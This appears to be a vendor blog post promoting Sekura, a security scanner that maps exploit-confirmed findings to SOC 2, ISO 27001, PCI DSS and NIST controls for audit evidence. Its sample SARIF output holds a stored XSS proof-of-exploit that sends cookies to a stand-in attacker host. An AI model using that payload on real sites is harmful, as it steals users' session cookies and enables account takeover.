Audit Prep Arrives as a Byproduct

Audit prep should not be a separate project.

It is, for most teams. The typical sequence: six weeks before the audit window, someone exports scanner results, maps findings to controls by hand, writes justification narratives, and assembles an evidence spreadsheet. Then the cycle restarts next year.

We think this is a tooling problem, not a skills problem. Security testing and compliance tracking live in separate systems, so bridging them takes manual effort every time. The scan is not the bottleneck. The translation is.

How Finding-to-Framework Mapping Works

When Sekura confirms a finding with a working exploit, it tags that finding to every control it violates across the frameworks we support. The tags are deterministic. They derive from the exploit class, the affected asset type, and the control definition.

A stored XSS finding in a customer-facing application maps to controls in SOC 2, ISO 27001, and PCI DSS simultaneously. You do not build that list. We compute it at scan time.

Here is what that looks like in the SARIF output:

{
  "ruleId": "SEKURA-XSS-STORED-001",
  "level": "error",
  "message": { "text": "Stored XSS via unsanitized input at /api/comments" },
  "properties": {
    "proofOfExploit": "POST /api/comments body=<script>fetch('https://attacker.example/?c='+document.cookie)</script>",
    "frameworkMappings": {
      "SOC2":          ["CC6.1", "CC6.8"],
      "ISO27001-2022": ["A.8.28", "A.8.29"],
      "PCIDSS-v4":     ["6.2.4", "6.4.1"],
      "NIST-SP800-53": ["SI-3",  "SI-10"]
    }
  }
}

We cover 14 frameworks. Every confirmed finding surfaces the controls it touches, across all relevant frameworks at once.

What Disappears from Your Audit Prep

I think the underrated benefit is not the mapping itself. It is the work the mapping eliminates.

With automatic tagging, these tasks drop off your audit checklist:

1. Manual cross-referencing of findings against each framework's control list.
2. Writing narratives to explain why a finding is in scope for a given framework.
3. Hunting for evidence that a finding was remediated and when.
4. Reconciling output from tools that use incompatible severity language.
5. Defending gaps between what was tested and what the framework requires.

The fifth item is where most audits slow down. Auditors ask whether specific control categories were tested. With Sekura, every scan covers the full seven-phase pipeline: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. The coverage is not asserted in a policy document. It is documented in the scan output.

Compliance Does Not Hold Still

A clean pentest in Q1 does not mean clean controls in Q4. Compliance degrades as your software changes.

Sekura runs on every push in your GitHub Actions pipeline. The control-to-finding mapping stays current with your codebase. If a new deployment introduces a PCI DSS gap, you see it in the next CI run, not at the next annual test.

Here is how that continuous loop looks:

The practical effect is that your compliance posture reflects the current state of your software, not the state it was in when someone last ran a manual test.

At Audit Time

The evidence package auditors typically request is already in your scan history.

For each framework, you get:

1. Controls Sekura tested, with the test methodology recorded.
2. Findings per control, each with a working proof-of-exploit attached.
3. Remediation history: when a finding appeared, when it closed, and which scan confirmed the fix.
4. Controls with no findings, meaning they cleared the full test run.

You can export this per framework from the Sekura dashboard or pull it through the API. There is no translation sprint. The auditor gets evidence tied to specific scan runs, not a manually assembled spreadsheet.

The deeper point is that security and compliance are not two separate programs. When a working exploit is the unit of evidence, the compliance record is a direct output of the security work. You stop maintaining two systems and start getting one as a byproduct of the other.

See how Sekura maps findings to your compliance requirements: /product/